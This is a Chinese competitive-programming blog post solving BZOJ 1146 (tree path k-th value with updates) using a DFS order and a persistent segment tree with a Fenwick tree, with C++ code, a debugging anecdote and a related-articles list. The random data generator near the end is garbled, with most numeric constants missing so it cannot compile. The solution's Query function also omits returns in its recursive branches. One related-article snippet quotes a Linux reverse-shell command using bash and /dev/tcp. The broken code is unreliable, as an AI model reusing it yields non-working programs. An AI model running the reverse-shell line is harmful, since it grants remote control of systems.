【BZOJ-1146】网络管理Network DFS序 + 带修主席树
1146: [CTSC2008]网络管理Network
Time Limit: 50 Sec Memory Limit: 162 MB
Submit: 3495 Solved: 1032
[Submit][Status][Discuss]
Description
Input
Output
Sample Input
5 1 2 3 4
3 1
2 1
4 3
5 3
2 4 5
0 1 2
2 2 3
2 1 4
3 3 5
Sample Output
2
2
invalid request!
HINT
Source
Solution
这道题方法很好想把,树上带修第k大问题,最直观的就是 树链剖分+树套树 复杂度$O(Nlog^{4}N)$,我是直接 dfs序+带修主席树 硬上,复杂度是$O(Nlog^{2}N)$
问题在于 内存 ,所以可以考虑先建一棵完整的树,然后 树状数组修改时只搞一条链 这样能把内存大大降低。
并且 这里的dfs序直接用就好了,并不需要搞成入栈出栈序,那样内存消耗依旧很大,自己第一次大概是180M--MLE。
Code
#include<iostream>
#include<cstdio>
#include<cstring>
#include<cmath>
#include<algorithm>
#include<vector>
using namespace std;
inline int read()
{
int x=0,f=1; char ch=getchar();
while (ch<'0' || ch>'9') {if (ch=='-') f=-1; ch=getchar();}
while (ch>='0' && ch<='9') {x=x*10+ch-'0'; ch=getchar();}
return x*f;
}
#define MAXN 100010
#define vec vector<int>
int N,Q,ls[MAXN<<1],tp,val[MAXN];
struct QNode{int x,y,z,opt;}q[MAXN];
struct EdgeNode{int next,to;}edge[MAXN<<1];
int head[MAXN],cnt=1;
inline void AddEdge(int u,int v) {cnt++; edge[cnt].next=head[u]; head[u]=cnt; edge[cnt].to=v;}
inline void InsertEdge(int u,int v) {AddEdge(u,v); AddEdge(v,u);}
int pl[MAXN],dfn,pr[MAXN],deep[MAXN],father[17][MAXN];
inline void DFS(int now,int last)
{
pl[now]=++dfn;
for (int i=1; i<=16; i++)
if (deep[now]>=(1<<i)) father[i][now]=father[i-1][father[i-1][now]];
else break;
for (int i=head[now]; i; i=edge[i].next)
if (edge[i].to!=last)
father[0][edge[i].to]=now,deep[edge[i].to]=deep[now]+1,
DFS(edge[i].to,now);
pr[now]=dfn;
}
inline int LCA(int x,int y)
{
if (deep[x]<deep[y]) swap(x,y);
int dd=deep[x]-deep[y];
for (int i=0; i<=16; i++)
if (dd&(1<<i)) x=father[i][x];
for (int i=16; i>=0; i--)
if (father[i][x]!=father[i][y])
x=father[i][x],y=father[i][y];
return x==y? x:father[0][x];
}
namespace PrTree
{
int lson[MAXN*80],rson[MAXN*80],sum[MAXN*80],sz,root[MAXN];
vec add,sub;
inline void Insert(int l,int r,int &now,int fa,int pos,int val)
{
now=++sz; sum[now]=sum[fa]+val;
if (l==r) {return;}
lson[now]=lson[fa],rson[now]=rson[fa];
int mid=(l+r)>>1;
if (pos<=mid) Insert(l,mid,lson[now],lson[fa],pos,val);
else Insert(mid+1,r,rson[now],rson[fa],pos,val);
}
inline int Query(int l,int r,int kth)
{
if (l==r) return l;
int mid=(l+r)>>1,sn=0,sr=0;
for (int i=0; i<add.size(); i++) sr+=sum[rson[add[i]]],sn+=sum[add[i]];
for (int i=0; i<sub.size(); i++) sr-=sum[rson[sub[i]]],sn-=sum[sub[i]];
if (sn<kth) return -1;
if (kth>sr)
{
for (int i=0; i<add.size(); i++) add[i]=lson[add[i]];
for (int i=0; i<sub.size(); i++) sub[i]=lson[sub[i]];
Query(l,mid,kth-sr);
}
else
{
for (int i=0; i<add.size(); i++) add[i]=rson[add[i]];
for (int i=0; i<sub.size(); i++) sub[i]=rson[sub[i]];
Query(mid+1,r,kth);
}
}
inline void BuildTree(int now,int last)
{
Insert(1,tp,root[now],root[last],val[now],1);
for (int i=head[now]; i; i=edge[i].next)
if (edge[i].to!=last)
BuildTree(edge[i].to,now);
}
}using namespace PrTree;
namespace BIT
{
int tree[MAXN];
inline int lowbit(int x) {return x&-x;}
inline void Modify(int x,int pos,int D)
{
for (int i=x; i<=dfn; i+=lowbit(i))
Insert(1,tp,tree[i],tree[i],pos,D);
}
inline int Add(int x)
{
add.push_back(root[x]);
for (int i=pl[x]; i; i-=lowbit(i))
add.push_back(tree[i]);
}
inline int Sub(int x)
{
sub.push_back(root[x]);
for (int i=pl[x]; i; i-=lowbit(i))
sub.push_back(tree[i]);
}
inline void Clear() {add.clear(); sub.clear();}
}using namespace BIT;
int main()
{
N=read(); Q=read();
for (int i=1; i<=N; i++) val[i]=read(),ls[++tp]=val[i];
for (int i=1,x,y; i<=N-1; i++) x=read(),y=read(),InsertEdge(x,y);
DFS(1,0);
for (int i=1; i<=Q; i++)
{
q[i].opt=read(),q[i].x=read(),q[i].y=read();
if (q[i].opt) q[i].z=LCA(q[i].x,q[i].y); else ls[++tp]=q[i].y;
}
sort(ls+1,ls+tp+1); tp=unique(ls+1,ls+tp+1)-ls-1;
for (int i=1; i<=N; i++) val[i]=lower_bound(ls+1,ls+tp+1,val[i])-ls;
for (int i=1; i<=Q; i++) if (!q[i].opt) q[i].y=lower_bound(ls+1,ls+tp+1,q[i].y)-ls;
BuildTree(1,0);
for (int i=1; i<=Q; i++)
{
int opt=q[i].opt,x=q[i].x,y=q[i].y,z=q[i].z;
if (!opt)
Modify(pl[x],val[x],-1),Modify(pr[x]+1,val[x],1),Modify(pl[x],y,1),Modify(pr[x]+1,y,-1),val[x]=y;
else
{
Clear();
Add(x); Add(y); Sub(z); Sub(father[0][z]);
int ans=Query(1,tp,opt);
if (ans==-1) puts("invalid request!"); else printf("%d\n",ls[ans]);
}
}
return 0;
}
大概Code了1h+,然后CodeVS上测了一下1,2点WA,其余AC,不解,一顿输入输出调试了快2h,然后莫名其妙就A了,然后撤回了一下最早的版本,竟然也A了,并不知道这两个小时到底做了些什么= =
UPD:
终于想到自己做了些什么了,自己搞了搞事,没搞出来,又找标称对拍没搞出来,然后把标程输入输出中间值对拍无果,然后弃疗看题解,题解说dfs从 $\frac {n+1}{2}$开始,然后自己试了试然后AC了,然后自己在想为什么会这样??然后又手动撤销回最初的版本,然后又交了一遍,然后也A了..黑人问号.jpg
决定贴一下垃圾的数据生成器:
#include<iostream>
#include<cstdio>
#include<cstring>
#include<algorithm>
#include<cmath>
#include<ctime>
using namespace std;
int main()
{
srand(time());
int N=rand()%+,Q=rand()%+;
printf("%d %d\n",N,Q);
for (int i=; i<=N; i++) printf("%d ",rand()); puts("");
for (int i=,x; i<=N; i++) x=rand()%(i-)+,printf("%d %d\n",i,x);
for (int i=; i<=Q; i++)
{
int x=rand()%;
if (x) printf("%d %d %d\n",,rand()%N+,rand());
else printf("%d %d %d\n",rand()%+,rand()%N+,rand()%N+);
}
return ;
}
data
【BZOJ-1146】网络管理Network DFS序 + 带修主席树的更多相关文章
- P2617 Dynamic Rankings(带修主席树)
所谓带修主席树,就是用树状数组的方法维护主席树的前缀和 思路 带修主席树的板子 注意数据范围显然要离散化即可 代码 #include <cstdio> #include <cstri ...
- 2018.07.01 BZOJ3295: [Cqoi2011]动态逆序对(带修主席树)
3295: [Cqoi2011]动态逆序对 **Time Limit: 10 Sec Memory Limit: 128 MB Description 对于序列A,它的逆序对数定义为满足i<j& ...
- 2018.07.01洛谷P2617 Dynamic Rankings(带修主席树)
P2617 Dynamic Rankings 题目描述 给定一个含有n个数的序列a[1],a[2],a[3]--a[n],程序必须回答这样的询问:对于给定的i,j,k,在a[i],a[i+1],a[i ...
- BZOJ 3551/3545: [ONTAK2010]Peaks加强版 (Kruskal树+dfs序上的主席树+倍增)
Orz PoPoQQQ 学到了维护子树信息的时候用dfsdfsdfs序套主席树节省线段树空间. 学到了怎么用指针写可持久化线段树-emmm- CODE 只贴上3551加强版带强制在线的代码 #incl ...
- bzoj 3551 kruskal重构树dfs序上的主席树
强制在线 kruskal重构树,每两点间的最大边权即为其lca的点权. 倍增找,dfs序对应区间搞主席树 #include<cstdio> #include<cstring> ...
- BZOJ1901 Dynamic Rankings|带修主席树
题目链接:戳我 其实我并不会做,于是看了题解 我们都知道主席树是利用前缀和记录历史版本来搞区间K大的一种数据结构.不过一般的主席树只能搞定静态区间第K大.如果带修怎么办呢? 想一下...单点修改+区间 ...
- BZOJ4771 七彩树(dfs序+树上差分+主席树)
考虑没有深度限制怎么做.显然的做法是直接转成dfs序上主席树,但如果拓展到二维变成矩形数颜色数肯定没法做到一个log. 另一种做法是利用树上差分.对于同种颜色的点,在每个点处+1,dfs序相邻点的lc ...
- 带修主席树 洛谷2617 支持单点更新以及区间kth大查询
题目链接:https://www.luogu.com.cn/problem/P2617 参考博客:https://blog.csdn.net/dreaming__ldx/article/details ...
- [luogu P2617] Dynamic Rankings 带修主席树
带修改的主席树,其实这种,已经不能算作主席树了,因为这个没有维护可持久化的... 主席树直接带修改的话,由于这种数据结构是可持久化的,那么要相应改动,这个节点以后所有的主席树,这样单次修改,就达到n* ...
随机推荐
- 使用cmd打开java文件,报错:“错误,编码GBK的不可映射字符”
今天使用EditPlus写了一个小程序,用cmd运行时报错--"错误,编码GBK的不可映射字符". 处理办法是用EditPlus另存为时,把编码格式由UTF-8改为ANSI. 然后 ...
- jQuery css3仿游戏网站右键环形菜单
效果展示 http://hovertree.com/texiao/jquery/86/ PC用户右键弹出环形菜单. 手机用户扫描二维码: 长安可以弹出环形菜单. 转自:http://hovertree ...
- Linux下反弹shell的种种方式
[前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里s ...
- 菜单(Menu)的三中创建方式——Android开发之路2
菜单的三种创建方式 一.OptionsMenu---选项菜单 Android应用中的菜单默认是隐藏的,只有当用户点击手机上的MENU键,系统才会显示菜单.这种菜单叫做选项菜单(Options Menu ...
- 最新Android系统版本与API等级对应关系表
最新Android系统版本与API等级对应关系表 从Android官网拷过来的,方便查阅... 官网地址:https://developer.android.com/guide/topics/mani ...
- Allocators与Criterion的相同点及区别
C++98: 1.相同点: Allocators having the same type were assumed to be equal so that memory allocated by o ...
- React Native之坑总结(持续更新)
React Native之坑总结(持续更新) Genymotion安装与启动 之前我用的是蓝叠(BlueStack)模拟器,跑RN程序也遇到了一些问题,都通过搜索引擎解决了,不过没有记录. 但是Blu ...
- Html --用简单的<hr>实现多样化分割效果
最基本的:<hr width=300 size=1 color=#5151A2 align=center noshade>. <!--其中 width 规定线条的长度,还可以是百分比 ...
- MySql踩坑总结
衣带渐宽终不悔,为伊消得人憔悴,众里寻他千百度,蓦然回首,那人却在灯火阑珊处好通顺的句子哈哈 转了那么多弯,才明白问题就在一个地方.睡觉之前想明白了问题,还是经验太少.王国维的治学三境界: 昨夜西风凋 ...
- sys.dm_os_waiting_tasks 引发的疑问(上)
很多人在查看SQL语句等待的时候都是通过sys.dm_exec_requests查看,等待类型也是通过wait_type得出,sys.dm_os_waiting_tasks也可以看到session的等 ...